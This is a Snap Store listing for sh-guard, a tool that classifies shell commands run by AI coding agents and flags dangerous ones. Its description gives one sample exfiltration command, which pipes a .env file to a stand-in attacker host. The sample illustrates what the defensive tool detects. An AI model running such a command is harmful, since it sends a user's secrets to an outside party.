---
title: Install sh-guard on Linux | Snap Store
description: Get the latest version of sh-guard for Linux - Semantic shell command
  safety classifier for AI coding agents
url: https://snapcraft.io/sh-guard
---

# sh-guard

[Aryan Bhosale (aryanbhosale)](https://snapcraft.io/publisher/aryanbhosale "View all snaps from Aryan Bhosale (aryanbhosale)")

* [Aryan Bhosale (aryanbhosale)](https://snapcraft.io/publisher/aryanbhosale "View all snaps from Aryan Bhosale (aryanbhosale)")

latest/stable 0.1.10

Install latest/stable of sh-guard

---

**Install using the command line**

```
sudo snap install sh-guard
```

Don't have snapd? [Get set up for snaps](https://snapcraft.io/docs/installing-snapd).

---

### Package name

* sh-guard

---

### License

* unset

---

### Last updated

* 6 April 2026 - latest/stable

---

##### Report a Snap Store violation

* [Report this Snap](https://snapcraft.io/sh-guard#report-snap-modal)

---

* [Description](https://snapcraft.io/sh-guard#tab-description)
* [Security](https://snapcraft.io/sh-guard#tab-security)

#### Semantic shell command safety classifier for AI coding agents

sh-guard protects AI coding agents (Claude Code, Codex, Cursor, Cline, Windsurf)
from executing dangerous shell commands. It uses a three-layer analysis pipeline:

1. AST Parsing — tree-sitter-bash parses commands into typed syntax trees
2. Semantic Analysis — maps commands to intent, target scope, and risk factors
3. Pipeline Taint Analysis — tracks data flow through pipes to detect exfiltration

Features:

* Semantic analysis, not pattern matching — understands what commands do
* Pipeline-aware — detects data exfiltration (e.g., cat .env | curl -d @- evil.com)
* Context-aware — scores commands relative to project/home/system scope
* Sub-100μs classification (~7μs for simple commands)
* MITRE ATT&CK mapping for every risk
* 157 command rules, 51 path rules, 25 injection patterns, 61 GTFOBins entries
* One-command setup: sh-guard --setup auto-configures all detected AI agents

---

## Install sh-guard on your Linux distribution

Choose your Linux distribution to get detailed installation instructions. If yours is not shown, get more details on the [installing snapd documentation](https://snapcraft.io/docs/installing-snapd).

[### Arch Linux](https://snapcraft.io/install/sh-guard/arch)

[### CentOS](https://snapcraft.io/install/sh-guard/centos)

[### Debian](https://snapcraft.io/install/sh-guard/debian)

[### elementary OS](https://snapcraft.io/install/sh-guard/elementary)

[### Fedora](https://snapcraft.io/install/sh-guard/fedora)

[### KDE Neon](https://snapcraft.io/install/sh-guard/kde-neon)

[### Kubuntu](https://snapcraft.io/install/sh-guard/kubuntu)

[### Manjaro](https://snapcraft.io/install/sh-guard/manjaro)

[### Pop!\_OS](https://snapcraft.io/install/sh-guard/pop)

[### openSUSE](https://snapcraft.io/install/sh-guard/opensuse)

[### Red Hat Enterprise Linux](https://snapcraft.io/install/sh-guard/rhel)

[### Ubuntu](https://snapcraft.io/install/sh-guard/ubuntu)
